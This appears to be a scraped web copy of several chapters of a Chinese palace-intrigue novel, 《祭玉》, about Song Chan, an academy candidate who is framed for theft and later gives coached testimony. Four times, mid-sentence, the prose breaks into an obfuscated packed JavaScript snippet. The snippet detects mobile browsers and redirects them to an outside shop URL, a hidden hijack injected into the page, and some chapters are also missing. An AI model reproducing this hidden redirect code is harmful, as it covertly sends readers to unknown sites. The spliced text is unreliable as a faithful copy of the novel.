《祭玉》 14. 第 14 章 休沐日的短暂松弛仿佛是一场梦。 日沉西山，那两扇厚重的大门在吱呀声中被缓缓关上，门栓落下，将门外街市的热闹与喧嚣彻底隔断。学院内重归寂静，只余下晚风吹过屋檐带来些外界的潮气。 宋蝉的生活也随之被严丝合缝的拽回固有的轨道。每日卯时起身，早课依旧是玄之又玄的文史典籍诵读，在葛夫子稍显和缓的声音里，那些关乎天命德行的内容已经留下了些许印象。午后则辗转于不同的正厅与画室。从行走到跪拜，从运笔到上色。 每日的日程被填得密不透风，每一个时辰都有它必须完成的功课。 唯有到了晚间，规定的课业与琐事全部做完，同窗们也陆续回房，她才有一点真正属于自己的时间。宋蝉总是借口到正厅补习功课，然后在正厅的窗边独自依窗呆坐。 她在盼着那只小小的信鸽来信，她每日魂牵梦绕的都是有关兄长的讯息。这几乎成了她枯燥生活中，唯一一件不被安排、只属于自己的念想。 可盼来盼去只有葛老夫子那沙哑的讲课声，侍女们无声却如影随形的目光，构成了宋蝉日复一日的全部。 外出的片刻自由，如今想来竟遥远的有些不真实了。 外面早已是另一番天地。墙外的柳叶早已舒展开来，不再是初春时的嫩芽。街巷里猫儿都变得更加活泛，入夜后常常能听见野猫的叫声。 春风拂面，寒意已经彻底褪去，吹在脸上只觉温柔。 可这学院里头，除了春风有些暖意，其余一切还是老样子。高墙瓦舍是灰暗的，行走的侍女是低眉顺眼的。廊下庭院收拾得干干净净，没有一片多余的叶子，也瞧不见什么生机盎然的花草，仿佛春天单单绕过了此处。 宋蝉唯一能见着些生机的活物，只有白画师每次上课带来的时令花草。 这些是因孙惠言的画技拔尖，白画师给她的优待。这些时令的花草盆栽是专摆案上供她写生用的。有时是几株含苞待放的桃花，有时是颜色鲜亮的鸢尾。 宋蝉就坐在离孙惠言不远的侧后方。她看着孙惠言从容执笔，对着那独一份的鲜活景致勾勒晕染，心里难免会掠过一丝羡慕。那份因才华而得的、实实在在青眼，在这讲究规矩却也敬慕强者的地方，显得如此顺理成章，又如此令人望尘莫及。 课余她还听阿彩说，孙惠言常往高掌事那儿跑。 孙惠言时常向高掌事抱怨自己精神不济，埋怨夜里睡不踏实。她总在后半夜隐约听见窗外廊下传来轻微脚步声，那声响缓慢，不似野猫轻巧的动静。 更让她不安的是，有时白天她也能感觉暗处似乎有视线在注视着自己，她虽说不清来源，却言辞恳切的保证并未说谎。 她心烦意乱，白日里也难免显出几分憔悴与疑色。 最近一次孙惠言甚至是向高掌事告发，她说妆奁有被人翻动的痕迹，妆奁内钗环的位置与她平日里放的不同。 可除了她自己的感觉，拿不出半点实在凭据。 起初掌事还派人严查，却一无所获。随着她告状的次数多了，高掌事脸上也难免露出些的疲倦和未置可否的模样。 宋蝉三人们私下说起此事，也只说是孙良媛本性就有些自傲，再加上课业拔尖，与同窗们相处有些为难。她这般在意白画师与高掌事的看法，大约也是因为在这学院里，能得来关注的去处实在不多。 她们只将这件事当作了枯燥生活里一点无伤大雅的闲话，谁也没有真正往心里去。 宋蝉这边到觉得此事因祸得福，侍女仆妇们似乎变得有些投鼠忌器，生怕被良媛们扣上手脚不干净的嫌疑。日常行事反而不再如以往那般滴水不漏、严防死守。 她倒因此得以喘了口气，甚至在房间内一日能有两三个时辰见不着那两尊大佛。 这日午后，本该是去午间歇息的时辰，外面静的出奇。 一阵急促的脚步声由远及近，几个面生的仆妇出现在良媛们的住处前，脸色是从未有过的凝重。 “宋良媛，即刻往前厅！”领队的仆妇声音又急又短，容不下任何质询。 没有缘由的紧急召集，本身就透着不正常。宋蝉不知所措，其余的良媛也从窗中暗暗的查看着，也都不知其中缘故。 宋蝉独自随着陌生的仆妇们往前厅走去。她不知为何手心里沁出薄汗，只觉得去往前厅的回廊比往日更长，也更安静。 前厅里，不知等着她的是什么。 高掌事端坐在正中的太师椅上，面色阴沉，她手指无意识地叩着光滑的扶手。她的下首位置，孙惠言正用一方绢帕掩着脸，肩头不住地耸动，发出压抑又委屈的呜咽声。 那哭声在安静的厅里显得格外刺耳。 宋蝉见前厅如此情形，屏住呼吸向高掌事行礼，而后便垂手站在原地。她低着头，等着上首的高掌事开口。宋蝉心想特意将她叫来，又是这样的状况，大概不会是什么好事。 “今日召你来，是为不损书院清誉。” 高掌事开口，声音不高却带着不容置疑的压力。她说明了叫宋蝉前来的原因：“孙良媛昨夜丢失了紧要的家书和一枚金钗。经查问，失窃之时诸位良媛的行踪皆有迹可循。” 她顿了顿，并未说出后半句，而是将目光转向孙惠言：“孙良媛，你将当时情形再说一遍。” 孙良媛放下掩面的帕子，露出略微红肿的双眼。她抽抽噎噎的开口：“昨...昨日晚饭后，我便与张良媛一同在她房中刺绣，很晚才回到房中。” “今日早晨起床梳妆，便发现我的妆奁又有被翻动的痕迹。仔细一看，我的家书和金钗...都不见了！”她的声音带着哭腔。 孙惠言看向宋蝉，她终于找到了那个在暗处窥视自己的罪魁祸首：“昨晚良媛们都在房中，有侍女看管和作证！除了你独自一人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164629|196647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在正厅借口温书，还有谁能在院中随意走动？” “定是你趁无人之时溜进我房中行窃！” 宋蝉的冷汗浸湿了后背的衣衫，全身的血液仿佛在刹那间凝固。她脑中一片空白，下意识攥紧了藏在袖中的手。独处正厅是事实，无人作证也是事实，这时间点卡得太巧也太死，简直是为她量身定做的陷阱。 她思索片刻，站起来向掌事鞠躬陈情：“此事还有许多疑点，请掌事明鉴。” 说罢又转向孙惠言与她对峙：“孙良媛说失窃是昨晚发生的，你回房后并未立即察觉。若我真在昨夜行窃，你当晚卸妆梳洗时为何未曾发现妆奁被翻、钗书俱失？反倒要等到第二日白天才发现失窃？” 孙惠言听了宋蝉的话，只当她是狡辩，立刻也站了起来：“还请高掌事明鉴！从张良媛处回来已是亥时。我实在困得厉害，只将钗环胡乱卸在妆台上，连梳洗都潦草，便睡下了。当时屋内昏暗，加上身心俱疲，确实未曾留意妆奁是否被人动过。” “直到次日清晨起身，梳妆时才惊觉妆奁抽屉微微打开，再翻便发现家书与金钗不见了踪影！我当即吓得魂飞魄散，一刻不敢耽搁便来禀报了高掌事。掌事也命人细细搜查了下人房，毫无收获，现下只有宋良媛你...” 孙惠言眼中泪光盈盈，语气哀切的恳求道：“宋蝉妹妹，我知道你平日不易，也许是一时糊涂！可那家书于我而言意义重大，金钗更是家母送给我的礼物。” “你若肯归还，我愿以双倍，不！三倍的金银相谢，此事也绝不再追究，也仅限于你、我和高掌事知道，不再外传。” 孙良媛话音刚落，宋蝉的脸色瞬间变得更加苍白。 宋蝉不再与孙惠言废话，而是转向高掌事。她向前一步，毫不犹豫的提起裙摆，双膝跪地，背脊却挺的笔直。 她的声音因极力克制自己的愤怒和委屈而微微发颤：“高掌事，学生清白，不容此等污蔑。” 宋蝉眼神坚定，她虽穷困，骨头却是硬的：“既然孙良媛认定我是贼，我自请高掌事派人搜查学生房间！以求水落石出，还我一个清白！” 高掌事见如此僵持不下也不是办法，既然宋蝉自请搜查倒也方便。于是她命两位身材壮硕的仆妇搜查，两人应声面无表情的从正厅朝着后院的良媛们的住处走去。 这动静立刻引来了更多好奇。 一时间院子里洒扫的侍女都停下了手里的活计，房间里也陆续有良媛闻声走了出来。众人不约而同聚拢到一处，目光都远远的投向同一个方向，宋蝉的房间，此刻房门正被推开。 屋内很快传来翻箱倒柜的声响，连床铺也被毫不客气的掀开摸索。宋蝉的每一件物品都被仔仔细细的拿起翻看。整个过程虽不鲁莽，却如同一场公开的凌迟，在众多或好奇、或怜悯、或纯粹等着看笑话的目光注视下，将宋蝉有偷窃嫌疑的事情公开的淋漓尽致。 16. 第 16 章 众人退去，前厅的门被轻轻掩上，只剩宋蝉一人仍跪在冰凉的地砖上。 孙良媛虽已被带走，可那金钗与信笺毕竟是从宋蝉房中搜出，她窃嫌未消。上座的高掌事尚未发话，这份悬而未决的沉默比任何斥责都更显沉重。 宋蝉见此情状率先开口陈情：“请高掌事明鉴，偷盗者熟悉院内守备、对我和孙良媛的行踪了如指掌并能精准将赃物放入学生房中，绝非外人...” 说着说着，一个念头撞进她脑海里让她整个人陡然一僵。这了解院内守备、清楚她行踪的，除了院中的人，还有通过她得知了院落守备的程映... 让她绘制院落图与守备难道就是为了此刻？她绘制的图，探查的路难道最终成了陷害自己的赃物？ 若真如她所想，此刻更不能轻言和推断下去，宋蝉只能先囫囵的洗清自己的嫌疑：“学生斗胆猜测，此人是要借我之手，行一石二鸟之计。首要的是将孙良媛的家书公之于众，其次是要借我脱罪，洗清嫌疑。” 高掌事听完她的话，凝神细思。此事牵涉深广，若说这农家出身、谨小慎微的宋蝉，有动机去设计扳倒孙家这等树大根深的权贵也实在牵强。她与朝廷的事情毫无利害关系，且入学期短人脉浅薄，依平日行事也绝非是有如此手腕与胆魄之人。 然而，赃物确是从她房中所出，这铁证如山。高掌事心中虽倾向宋蝉无辜，却也不敢仅凭推断便断定她全然无罪。 高掌事清清嗓子缓和语气，先稳住宋蝉要紧：“此事已远超学院内斗，乃欺君重罪。我不能因孙惠言有罪就释放你，但我会尽快查清真相。在此之前，我会将你安置在一处单独的居所。待巡察使来后你要作为证人，或能洗清嫌疑，或能戴罪立功。” “是。学生愿意等高掌事查明真相。”宋蝉见此事还有转机，连忙拜谢了高掌事。 自此，高掌事将宋蝉安置在了自己院落内的一间僻静的客舍中。 这客舍不及良媛所居住的屋子陈设齐全，院内更是比外面还透着一种极简的清净。宋蝉这间屋子的窗户正对着高掌事书房的一角，她的任何举动都能落在高掌事眼底。 这里没了侍女在屋子里时时伺候，宋蝉倒是觉得轻松自在了些，唯有两名面容肃穆的仆妇轮班守在门外寸步不离。 这样被困了十余日之久，宋蝉的活动被彻底禁锢在这方寸之地，不敢轻举妄动。 起初她心态倒好，觉得自己倒可以借此良机静心温习葛夫子教过的典籍，又能潜心练习画技不被打扰。可随着她的笔触越发熟练，心底却如油煎。前几日就是首次月度考核的日子，而她仍只能困顿于此，听着远处讲堂隐约的动静，在这沉寂的院中担忧自己的未来。 外面的消息宋蝉丝毫不知。 孙家窥探宫闱之罪，如同一块石子投入朝堂这潭深水之中。事不算大，可激起的涟漪却远超想象。 此事报至朝廷不过数日，弹劾的奏章便随之而来。往日与孙家不睦的官员率先发难，直指孙家此举绝非简单的治家不严，而是要逆天而行，意图用承天监万里挑一的女官遴选来篡改国运。 此言一出，满朝皆惊。 逆天而行、篡改国运这八个字若成真，孙家必将株连九族、满门抄斩。这罪名实在严重，使得与孙家略有交情的官员们，此刻也不敢再为其声援，生怕牵连到自己。 与此同时，深宫之内亦是暗流涌动。孙家在京中的最大倚仗保宁郡主，闻得弹劾的消息后当夜便卸去钗环，身着素衣请见。她未曾过多为孙家辩白，只是极力撇清自家与孙氏旁支的关系。 保宁郡主将此事定性为糊涂与蠢钝，试图洗刷那最要命的逆天指控，为家族核心的利益关系保全一线生机。 然而逆天之言一旦种下隐患，天威难测，决断只在一念之间。 与朝堂的暗流涌动相比，宋蝉关在客舍里的日子过得已然算是平静。笔墨纸砚一样不缺，饭食也按时送来，除了不能踏出房门，一切仿佛与往日并无不同。 她不知道，巡察使已在快马加鞭赶来的路上，如何处置孙家、如何整顿遴选的密报也将随之而来。她也不知道，高掌事与知府已经联合审查了两次，学院里的守卫悄悄增加了一倍。她更不知道，孙惠言如今的境况远不如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164631|196647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这般清净。 起初，孙惠言还日日叫屈，捶胸顿足的哭诉自己的冤枉。只被高掌事查问两次后，便彻底失了往日的骄纵的气性。她的屋子里悄无声息，只是偶尔传出的几声呜咽啜泣，整个人的状态已经开始透露着一种令人不安的萎靡感。 宋蝉只是偶尔抬头时，会觉得窗外的天色比往日沉些。 时常在夜里，她似乎能听见更频繁的马蹄声踏过青石街道，由近及远又由远及近。 但这些她都不能左右。 她只能在屋子里一笔一画的麻木的写字画画，等一个她无法预知，也无法掌控的结局。 今日又这样无所事事的过去，夜幕即将降临，院门口新增的几名守卫正在换岗。宋蝉坐在窗边，百无聊赖的看向那些陌生的、穿着统一杂役服饰的身影。忽然她的视线定格在其中一个正低头整理腰间佩刀的身影上。 是他。 可又全然不是记忆中的模样。先前见程映，虽在路途中一切从简，他也自有一番气势迫人的感觉。如今却穿着一身粗布短打，连身型轮廓都似乎不似之前挺拔，显得有些平庸而木讷，不再引人注目。 可唯有那双眼睛，抬起看过来的瞬间依旧带着挥之不去的阴鸷杀气，与他此刻门卫的身份有些格格不入。 程映的目光漠然扫过宋蝉，没有半分波澜。而宋蝉的心脏在胸腔里疯狂跳动着，甚至要跳出喉咙一般。 她心想，程映或许是来救她的。可这希望让她避之不及，被拘在这里的日子，宋蝉常常都会思考，无论孙家是否真的有罪，这件事都发生在她向程映传递了学院的守备图后，程映十分有可能就是利用了她的情报，才策划了这一切来打倒孙家。 若她没有发现其中关窍，那岂不是害的便是自己？ 此刻就在眼前的人能如此轻易的颠覆位高权重的孙家。下一步，会不会还有因孙家而起的阴谋算计，或是更凶险的事情。 若与他牵扯越深，自己离粉身碎骨的深渊就越近。 程映或许是能助自己暂时脱困，但随之而来的会不会是另一副更沉重且无法挣脱的枷锁？ 17. 第 17 章 夜深，庭院内了无生气，仅有的几盏灯笼在檐下随风轻晃。 在这令人发闷的夜里，走廊尽头毫无预兆的传来了脚步声。听来不像是侍女轻盈的步伐，而是官靴沉缓、清晰踏过石板从夜色中来。 叩门声在宋蝉房门口响起，她带着困意起身去开门。 灯笼的光率先探了进来，刺得她皱起眉头闭上眼。恍惚间看到两个高大的身影堵在门口，面目在背光里显得模糊。 “提审。”前面那人开口，声音宋蝉倒是熟悉。 真的再次听到程映的声音，宋蝉的心跳都漏了一拍。她又惊又喜，之前还怕自己还没救下哥哥先被判成了贼，也怕自己赝品的身份如孙惠言一样被揭穿。 现在程映既然在此，此刻与她默然并肩，起码暂时应该能护她周全。 她垂下头听话的跟在两个人身后走着。三人沿着连廊走着，转到了个漆黑的拐角。檐下的灯笼照着来路，拐过去的那一小片转角，恰好陷明暗的交界处，只靠肉眼在黑夜里勉强勾出些轮廓。 走在前方的两人相继停住了脚步。 跟随的另一名差役向前迈出几步，又在几步外停了下来，仿佛只是例行警戒，却让出了个不远不近的空隙。程映转过身将宋蝉拘在了这片黑暗下。灯笼被他提在身侧，将他半边脸映得清晰，另半边则没入黑暗。 他没有立刻说话，只是垂眼看着宋蝉。那目光与傍晚时漠然的神色不同，像卸去了伪装，露出深不见底的猎手般的算计。 那种熟悉的审视感，从宋蝉紧绷的侧脸滑到她微微发抖的身上。 “一会儿按我说的做。”程映不在意宋蝉此刻是否害怕，直截了当的将证词教给她。 宋蝉听了他教的话猛地一怔，喉咙发紧。她试着张了张嘴，发不出声音。于是她摇了摇头，又清了清嗓子，声音里除了恐惧，还有不肯妥协的意味。 她问道：“那孙惠言会死吗？” 灯笼的光将程映的半边脸照得清楚，漠然的神色下有些纯粹的错愕。他盯着宋蝉，心里觉得莫名其妙的慌，自己仿佛对牛弹琴。 “哼。”他毫不掩饰的嗤笑着宋蝉，像在笑，但笑意未达眼底。他没好气的开口：“孙惠言不死，你就是贼。怎么？又想做好人了？” “你没得选。” 程映不容宋蝉再说话，拘束起身子变回仆从的模样，转身继续带她去提审室。 提审室是间狭长的厢房，房内只点了一盏油灯，搁在长案正中，案上是堆积如山的卷宗。 室内光线昏黄，勉强照亮案后坐着的人。那是为年长的官员，穿着暗紫色的官服，面容清癯，眼角有着深深的细纹。他并未正坐，而是稍向后靠着椅背，一手拿着一本案卷读着，另一手随意搭在案上，指尖有一下没一下地轻叩光滑的漆面。 高掌事坐在侧下方的方凳上，背挺得笔直，双手拢在袖中。 宋蝉进入提审室后行了礼，可两人都没有理她。她也不敢轻举妄动，只能保持着行礼的姿势，室内静得能听见灯芯烧着的极轻微的“噼啪”声。 过了快一刻钟，巡察使的目光落在站在堂下的少女身上，他道：“好了，坐下吧。” 宋蝉惶恐的坐了下来，她低着头不敢乱看更不敢说话，只等巡察使问什么便答什么。 “你说说是怎么发现孙惠言的这些罪证的？”巡察使看似轻松的半垂着眼皮，目光却在宋蝉的脸上，捕捉着她细微的神色。 宋蝉依旧低着头，尽可能的回忆起程映所教的证词道， “回禀大人，学生是在上月月中...的一天夜里，那时学生正要回房间休息，恰好遇到了孙良媛的侍女鬼鬼祟祟的拿着什么东西往外走，于是学生拦下她询问。那...那侍女在我的逼问下说出是她奉孙良媛的命令要烧毁她的家书。” “我想...如若是普通的家书怎会急着让仆役烧毁，于是我便好奇的打开来看，发现了孙家伪造孙良媛生辰及泄露考核题目一事。学生知道此事事关重大，便...私自做主扣下了那些家书。” 巡察使本是摩挲自己拇指上的玉扳指，听完这几句后手上的动作突然停止，手指轻轻扣在案面上，发出“笃”的一声轻响。 宋蝉霎时不再言语，巡察使问道：“扣下...为何隐匿不告？那金钗也是此时拿去的？” 对了，还有金钗，刚刚程映并未提到过金钗。这下宋蝉只能提起十二万分的精神自己想对策了。她重重的沉了一口气，抬眼看了一眼高掌事。 宋蝉面色看似是为难，实则脑中疯狂的运转调动着拖延时间，她回答道：“学生人微言轻，怕孙家势大会反咬学生诬陷，所以不敢贸然检举。只能出此下策以偷窃之行叫高掌事发现，借高掌事之势揭穿孙家罪行。” 宋蝉说完，巡察使并未做声，提审室又陷入一片寂静。她心神不宁，不知是否漏出了马脚，重重的呼吸声在寂静的房间中清晰可闻。 “你倒是聪明。”巡察使随即眼神转向高掌事，问道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164632|196647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这孩子说的你都听见了，可有要补充的？” “大人，请容下官多嘴一问。”高掌事转向宋蝉，语气甚至算得上温和：“宋良媛，你此前为何不曾提及此事？我记得当初查问你时，你神色惊慌，矢口否认金钗和家书是偷盗而来。” 宋蝉她闻言，目光迎向高掌事，坦然的回答：“是学生有错。学生向您赔罪。” 她说着，端端正正的跪下向高掌事行礼道歉。 “那日不敢直言，并非信不过您主持公道，”她语速平稳，这话在高掌事开口时就已在心里掂量过一遍：“而是此事牵扯太大，涉及朝廷法度。学生见识浅薄，实在不知在这学府之内，孙家势力...究竟能波及多远。” 她的目光看向面色沉静的巡察使大人，又低下头陈述：“直到今日，朝廷的巡察使大人亲临，此刻若继续隐瞒实情，便是欺君罔上。所以学生才敢将当日所见所为和盘托出。” 巡察使一直静听着，至此他抬了抬手。 高掌事与宋蝉都不再说话，听候他的发落。 巡察使的目光在低着头的宋蝉身上停留片刻，又瞥了一眼案上那份早就已经写满了的供词。他脸上依旧没什么表情，但周身那股沉郁的感觉似乎松动了一丝。 “好了。”他开口道：“你这件案子，本官已有定夺。” 他身体略向前倾，结案般的给这件事定了性质：“孙惠言的侍女意图销毁罪证，你能于察觉异常并冒险截获，虽处置欠妥。可终究保住了关键物证，使孙家罪证得以保存。” 巡察使似在斟酌词句，每个字都说的清清楚楚：“此举，论迹不论心。可视为...戴罪立功。本朝法度向来赏罚分明。待本官核实无误后，自当依律对你予以考量。” 戴罪立功，高掌事在一旁听得真切。 巡察使提高了些许声调，朝着门外吩咐：“来人。” 门应声被推开，门外一直守着的程映垂手听命。 “带她下去，”巡察使指了指宋蝉，语气平淡的说道：“去认一认羁押的那几个侍女。指认那日意图销毁信件的之人，对了口供送来便是。” “是。” 程映领命，他侧身让开道路，向依旧站在堂下的宋蝉做了一个请的手势，目光与她有一瞬的接触，眼带笑意。 宋蝉不敢多看他一眼，只觉得自己已被冷汗浸透，几乎要虚脱。她站起来后再次向巡察使和高掌事行礼，然后转身跟着程映走了出去，终于是脱离了风暴的中心。 21. 第 21 章 春末时节，暖意初显。 学院的高墙内，气氛被劈成了两半，一半是满怀期待的雄心壮志，另一半则是化不开的沉郁。 首次月度考核的成绩张榜后，学院内的形势便悄无声息的变了调。所有的关注与资源全都倾斜给前三名的良媛们，周乐竹、张楚悦和孙瑶。 葛夫子在课上总会适时点拨她们，修习才艺时也会额外关照她们一些。有时夜里温书久了或是课业繁重时，小厨房甚至会默许给她们送去宵夜。就连每月那点可怜的休沐时间，学院也会为她们备好车马方便她们出行。 而垫底的两位良媛处境就截然相反了，阿彩与另一个独来独往的谢良媛似乎被学院有意隔离开来，夫子与掌事的说教很少再落到她们身上，功课上得不到点拨，本就学的吃力的两人自己也渐渐松懈下来。 没人明说，但所有人都十分清楚，在这里的良媛们算不上是同窗，更谈不上是朋友。竞争从踏入这高墙的第一天就已开始，且从未停歇。这里的欢喜与愁苦从不均分，有人向上走，便自然有人被留在下面。 宋蝉的境地有些尴尬。虽因孙惠言的事情没有参与第一次的考核，她却也因检举有功，依旧受着些高掌事的照拂。虽然没有前三名那般优待，学业上倒不至于被完全冷落。 比宋蝉更加尴尬的，还有一位孙瑶。孙惠言出事前，两人还对外说是如假包换的堂姐妹，日常相处也是十分亲密。可自打孙家东窗事发，孙瑶便立刻改了口风，极力撇清与孙惠言的关系，对外说两人早已出了五服，是不怎么走动的远亲而已。 这般迅速又明确的切割倒也让她保住了良媛的身份，家族也并未被直接牵连。 可背地里的闲言碎语却总是免不了的，无非是说她太过凉薄。孙瑶自己倒似浑不在意，在家族和前途面前，能走得远的，从来都是那些能用理智控制住情绪的人。 闲言碎语不过过眼云烟罢了。 时间飞速的流逝，宋蝉这段时间几乎将自己钉在了书案前，晨起日落，手边的卷册却越学越多，笔记密密麻麻，可总觉得该念的书还没念完。 第二次考核的期限猝不及防的到了眼前。宋蝉坐在考场环顾四周，已只剩六人。 放榜时，宋蝉也终是功夫不负有心人，名次赫然排在了第三位。看着这来之不易的成绩，她的心里完全没有欣慰，只觉得乏力。 这一个月以来，她可谓是拼了命将自己往那些典籍里扎，一是因为她想晋升的决心叫她别无退路，二来唯有把脑子塞满那些典籍时，程映交代给她的任务才不会压在她心里。 满纸的天地玄黄竟成了她仅能喘息的缝隙。偶尔摸到腕上哥哥的扣子，或是接到程映送来的只言片语，宋蝉才稍稍透出一丝活气。 可现在考核完了，离程映交代的任务就越来越近了。那被书本强行压下去的阴影立刻重新弥漫开来。之前的做伪证的负罪感已经压得宋蝉喘不过气，如今又要带着这身洗不净的愧疚去犯更重的过错。 宋蝉长在山野，习惯的是日出而作、日落而息的简单道理。她平生没行过什么大善，可也从未蓄意害过人。如今被抛进这处处心机、算计利害关系的漩涡里，让她比旁人更加耗费心神。 尤其这种明知故犯的清醒，比什么都折磨人。 现实对她并没有半分宽宥。没人能停下来等宋蝉适应，也没人会完全体谅她心底那点山野里带来的稚拙。下一个任务如程映所料，在春夏交替之际来到眼前。 朝廷便发下了诏书。因太后寿辰特颁恩典，大赦天下并减免当年半数的赋税。 皇恩浩荡，这普天同庆的喜讯迅速的传到了地方。为了感念天恩，彰显孝义，宋蝉所在的桑平府连同临近两个州府，商议决定联合举办一场长达七日的盛大庆典。 而庆典中最核心的一环便是由三个州府所有候选的良媛们，齐聚于素有护国之名的皇家寺庙宝通寺进行为期七日的斋戒与祝祷，为太后祈福，也为国运祈祥。 当这消息由高掌事在晨会上宣布，学院众人皆是难以抑制的兴奋。为国祝祷可是莫大的荣光，也是这些女孩晋升路上极其关键的初次亮相。 宋蝉随着众人垂首领命，心底似沸水翻滚一般。 此外，高掌事还补充了一件事：“由于宝通寺中房舍有限，诸位良媛需两人一间自行结伴。且起居饮食皆无人贴身伺候。斋戒清苦，望各位良媛彼此照应。” 看似简单的同住安排，暗中成了无声的势力划分。 几位良媛面上都不显露，但眼神与心思却已悄然流动，谁都想与自己相熟或有利的同伴共居一室。这可不仅是眼下生活起居便利与否，在更长远的，是立场亲疏的表态，也是对人际脉络的编织。 此刻萦绕在宋蝉心头的只有程映的任务。程映叫她毁掉这份典礼。 程映隔着信件，粗略提点过宋蝉，无非是假装身体突发的不适，再者便是制造些引人分心的意外。但这些办法宋蝉看在眼里，却不知该如何落在实处。 每一步都充满变数，宋蝉反复琢磨着程映模糊的指引，心中一团乱麻。她捏着腕上的扣子，越想越觉得不对劲，自己眼下所为与其说是筹谋，不如说是在撞运气。 她甚至忍不住揣测起程映的动机，他真会把搅乱太后寿礼这般天大的事，全数押在自己身上吗？怎么想，都透着一股子不靠谱的感觉。 万千思绪，最终只剩茫然无措。 就在宋蝉的思绪在天人交战，反复琢磨那任务究竟该如何下手，程映到底靠不靠谱的时候，她自己本身早已成了别人眼里的猎物。张楚悦和周乐竹，这两位在学院里拔尖的人物，暗里都在盘算着将她拉到自己阵营。 周乐竹向来敏锐，她早便察觉宋蝉的不对劲。她先以为是宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164636|196647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蝉在学业上太过紧绷，是急于求成的想证明自己。可明明这第二次考核宋蝉还取得了不错的名次，即将到来的祈福祝祷更是千载难逢的机遇，宋蝉的脸上却看不出与她所付出的努力相匹配的欣慰或期待。 反而在听闻庆典的细节安排时，皱着眉呆呆的愣在一旁。 周乐竹得到过父亲的口信，大概知道了宋蝉是程映的下属，却不知他们这底下纠缠不清的关系。在她的认知里，那位程大人是父亲在官场人脉中的一环，所以交代宋蝉在学院照应帮衬自己，行些方便也实属寻常。 在周乐竹眼里，宋蝉的确算不上是惊才绝艳。她对课业虽然十分刻苦，但天资并非顶尖，更无显赫家世可依托。这样一个人，于自己志在必得的承徽之位而言，构不成任何实质的威胁。非但没有威胁，若引导得当，说不定可能成为极好的盟友。 这么久的相处下来，宋蝉心思单纯，又懂得感恩，且孤苦无依正需依靠。周乐竹对她确有几分真切的好感。 既是同一阵营，又无利害冲突，自然该互相关照。 另一位良媛张楚悦面上保持着惯有的从容，心里却也在飞快的将这学院里的每个良媛权衡了好几遍。 孙良媛是断不能选的。虽之前也以远亲相称，可如今谁沾上这“孙”字就是晦气。先前费力撇清的关系可能又会被人重新联想起来，徒惹麻烦。 往日那点亲近，在家族利益面前不值一提。 谢良媛更是想都无需想。成绩垫底，家世平平无奇，最要命的是她那孤僻至极的性子。她终日不言不语，与这样的人同住，非但得不到任何助益，恐怕连句像样的商量都做不到。在眼下这孤立无援的紧要关头，绝不能选个闷葫芦在身边。 与谢良媛相反的阿彩人缘是极好的，性子也活络，与她同住想必十分轻松。可这念头也只是一闪而过。阿彩终究是奴婢出身，即便如今换了身份，可自己若与她同进同出，会不会惹人看轻。张楚悦最看重的骄傲与体面，容不得半点闪失。 于是她的目光不由得就停留在了周乐竹与宋蝉的身上。 周良媛...绝对不行。此刻在学院内，周乐竹本就是自己最大的竞争对手，两人之间那点表面和气之下，一直是暗自在功课上的彼此较劲，这点两人都心知肚明。若是与她住在一起，怕是连觉都睡不安稳。 倒是那宋良媛，越想越觉得合适。 排名足够靠前，说明学识和礼仪不俗。最关键的是，她家世清白却十分寒微，这样的人最容易拿捏。若自己许诺她些好处，或许就能让她成为自己可靠的助力。与她同住，旁人只会觉得自己是折节下交，面子里子都好看。 于是在宋蝉还在苦苦琢磨那程映布置的烫手山芋之时，自己先倒成了周乐竹与张楚悦眼里的香饽饽。一场关于如何将宋蝉体面的收归己用的无声角逐，也就此悄然拉开了序幕。 22. 第 22 章 最近几日，宋蝉觉得自己的运势似乎顺遂了不少。程映通过信鸽递来的简讯里，关于兄长安好的确凿消息变的多了起来。偶尔还会附上几句简短的嘱咐，提醒她添衣、功课勿要太过耗神之类的。这些看似平常的字句，将两人之间那因为任务而紧绷的关系缓和了不少。 更值得她欣慰的，是学院中的氛围也变得十分亲切。 